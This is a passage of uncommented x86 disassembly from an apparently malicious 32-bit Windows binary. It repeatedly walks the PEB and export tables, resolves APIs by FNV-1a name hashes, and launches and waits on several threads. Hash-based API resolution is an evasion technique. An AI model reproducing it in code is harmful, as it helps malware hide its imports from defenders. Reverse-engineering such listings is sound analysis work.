mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x45c897
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45c897
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45c88d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45c870
cmp esi, 0x71948ca4
je 0x45c89b
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45c853
mov eax, dword [eax]
jmp 0x45c823
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push 0x493e0
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x45c93f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45c93f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45c935
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45c918
cmp esi, 0xfaba0065
je 0x45c943
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45c900
mov eax, dword [eax]
jmp 0x45c8d0
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x45c9df
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45c9df
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45c9d5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45c9b8
cmp esi, 0xfaba0065
je 0x45c9e3
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45c9a0
mov eax, dword [eax]
jmp 0x45c970
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call fcn.00476660
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x466b40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x463650
push 0
push 0
mov dword [ebp - 0x5c], eax
call esi
push 0
push 0
push 0
push 0x461c30
push 0
push 0
mov dword [ebp - 0x58], eax
call esi
push 0
push 0
push 0
push 0x45f560
push 0
push 0
mov dword [ebp - 0x6c], eax
call esi
push 0
push 0
push 0
push 0x45f280
push 0
push 0
mov dword [ebp - 0x50], eax
call esi
push 0
push 0
push 0
push 0x45e090
push 0
push 0
mov dword [ebp - 0x34], eax
call esi
push 0
push 0
push 0
push 0x45dc20
push 0
push 0
mov dword [ebp - 0x28], eax
call esi
sub esp, 0x18
mov dword [ebp - 0x24], eax
mov ecx, esp
mov dword [ebp - 0x40], esp
push 0x583d5c
call fcn.004163b0
mov byte [ebp - 4], 0x70
sub esp, 0x18
lea eax, [ebp - 0x8c8]
mov dword [ebp - 0x4c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x71
sub esp, 0x18
lea eax, [ebp - 0x8e0]
mov dword [ebp - 0x48], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x72
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x583d74
call fcn.004163b0
mov byte [ebp - 4], 0x73
mov byte [ebp - 4], 0x34
call fcn.004dda80
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45cb7f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45cb7f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x38], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45cb75
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45cb58
cmp esi, 0x71948ca4
je 0x45cb83
mov ecx, dword [ebp - 0x38]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cb40
mov eax, dword [eax]
jmp 0x45cb10
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
push 0x493e0
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45cc27
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45cc27
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45cc1d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45cc00
cmp esi, 0x71948ca4
je 0x45cc2b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cbe2
mov eax, dword [eax]
jmp 0x45cbb2
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push 0x493e0
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45ccdf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ccdf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ccd5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ccb8
cmp esi, 0x71948ca4
je 0x45cce3
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cca0
mov eax, dword [eax]
jmp 0x45cc70
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push 0x493e0
push dword [ebp - 0x50]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45cd8f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45cd8f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45cd85
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45cd68
cmp esi, 0x71948ca4
je 0x45cd93
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cd50
mov eax, dword [eax]
jmp 0x45cd20
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push 0x493e0
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45ce37
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ce37
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ce2d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ce10
cmp esi, 0x71948ca4
je 0x45ce3b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cdf2
mov eax, dword [eax]
jmp 0x45cdc2
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45cedf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45cedf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ced5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ceb8
cmp esi, 0xfaba0065
je 0x45cee3
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cea0
mov eax, dword [eax]
jmp 0x45ce70
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45cf7f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45cf7f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45cf75
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45cf58
cmp esi, 0xfaba0065
je 0x45cf83
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cf40
mov eax, dword [eax]
jmp 0x45cf10
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45d027
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45d027
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45d01d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45d000
cmp esi, 0xfaba0065
je 0x45d02b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45cfe6
mov eax, dword [eax]
jmp 0x45cfb6
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push dword [ebp - 0x50]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45d0c7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45d0c7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45d0bd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45d0a0
cmp esi, 0xfaba0065
je 0x45d0cb
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45d085
mov eax, dword [eax]
jmp 0x45d055
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push dword [ebp - 0x34]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45d167
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45d167
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45d15d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45d140
cmp esi, 0xfaba0065
je 0x45d16b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45d125
mov eax, dword [eax]
jmp 0x45d0f5
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x45d207
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45d207
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45d1fd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45d1e0
cmp esi, 0xfaba0065
je 0x45d20b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45d1c5
mov eax, dword [eax]
jmp 0x45d195
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [ebp - 0x20], 0xd9e9ae83
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c4], ecx
lea ecx, [ebp - 0x5d0]
mov dword [ebp - 0x5c8], eax
call fcn.004132d0
mov dword [ebp - 0x20], 0xa980d4f2
mov esi, eax
mov dword [ebp - 0x1c], 0xf3c01ed1
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5dc], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x5d8], ecx
lea ecx, [ebp - 0x5e0]
mov dword [ebp - 0x5d4], eax
call fcn.004132d0
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x9d8]
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x74
mov edx, eax
push 0x583d5c
lea ecx, [ebp - 0x9c0]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x75
mov edx, eax
push esi
lea ecx, [ebp - 0x910]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x9c0]
call fcn.00402c90
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x9d8]
call fcn.00402c90
mov dword [ebp - 0x20], 0xd9e9ae83
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5e4], ecx
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 0x5e8], eax
call fcn.004132d0
mov edx, 0x17
lea ecx, [ebp - 0xa08]
mov esi, eax
call fcn.004e3750
mov byte [ebp - 4], 0x79
lea edx, [ebp - 0xd50]
push eax
lea ecx, [ebp - 0x9f0]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x7a
mov edx, eax
push esi
lea ecx, [ebp - 0x898]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x9f0]
call fcn.00402c90
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0xa08]
call fcn.00402c90
mov ecx, 0x586410
call fcn.00416090
sub esp, 0x18
lea ecx, [ebp - 0x898]
mov edi, eax
mov dword [ebp - 0x40], esp
mov esi, esp
call fcn.00416090
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0x7e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x583d74
call fcn.004163b0
mov byte [ebp - 4], 0x7f
mov byte [ebp - 4], 0x7d
mov ecx, edi
call fcn.004e7810
add esp, 0x18
lea eax, [ebp - 0x910]
mov ecx, esp
mov dword [ebp - 0x48], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x80
sub esp, 0x18
lea eax, [ebp - 0x898]
mov dword [ebp - 0x60], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x81
mov byte [ebp - 4], 0x7d
call fcn.004c4420
add esp, 0x30
cmp byte [0x5860ac], 0
je 0x45d51b
cmp dword [ebp - 0x44], 0
jne 0x45d51b
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x40], esp
push 0x5863c0
call fcn.00413d50
mov byte [ebp - 4], 0x82
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x586258
call fcn.00413d50
mov byte [ebp - 4], 0x83
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x48], esp
push 0x586368
call fcn.00413d50
mov byte [ebp - 4], 0x84
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x586388
call fcn.00413d50
mov byte [ebp - 4], 0x85
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x68], esp
push 0x586378
call fcn.00413d50
mov byte [ebp - 4], 0x86
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x586290
call fcn.00413d50
mov byte [ebp - 4], 0x87
sub esp, 0x18
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x88
mov byte [ebp - 4], 0x7d
call fcn.004c8e70
add esp, 0x78
test al, al
je 0x45d51b
call fcn.004ce800
sub esp, 0x18
lea eax, [ebp - 0x26c]
mov ecx, esp
mov dword [ebp - 0x40], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x89
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x5863c0
call fcn.00413d50
mov byte [ebp - 4], 0x8a
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x48], esp
push 0x586258
call fcn.00413d50
mov byte [ebp - 4], 0x8b
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x586368
call fcn.00413d50
mov byte [ebp - 4], 0x8c
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x68], esp
push 0x586388
call fcn.00413d50
mov byte [ebp - 4], 0x8d
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x586378
call fcn.00413d50
mov byte [ebp - 4], 0x8e
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x2c], esp
push 0x586290
call fcn.00413d50
mov byte [ebp - 4], 0x8f
sub esp, 0x18
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x90
mov byte [ebp - 4], 0x7d
call fcn.00483b70
add esp, 0x90
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x898]
call fcn.00402c90
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x910]
call fcn.00402c90
jmp 0x45d6c9
cmp byte [0x5860ac], 0
je 0x45d6c9
cmp dword [ebp - 0x44], 0
jne 0x45d6c9
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x40], esp
push 0x5863c0
call fcn.00413d50
mov byte [ebp - 4], 0x91
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 0x586258
call fcn.00413d50
mov byte [ebp - 4], 0x92
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x48], esp
push 0x586368
call fcn.00413d50
mov byte [ebp - 4], 0x93
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x586388
call fcn.00413d50
mov byte [ebp - 4], 0x94
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x68], esp
push 0x586378
call fcn.00413d50
mov byte [ebp - 4], 0x95
sub esp, 0x10
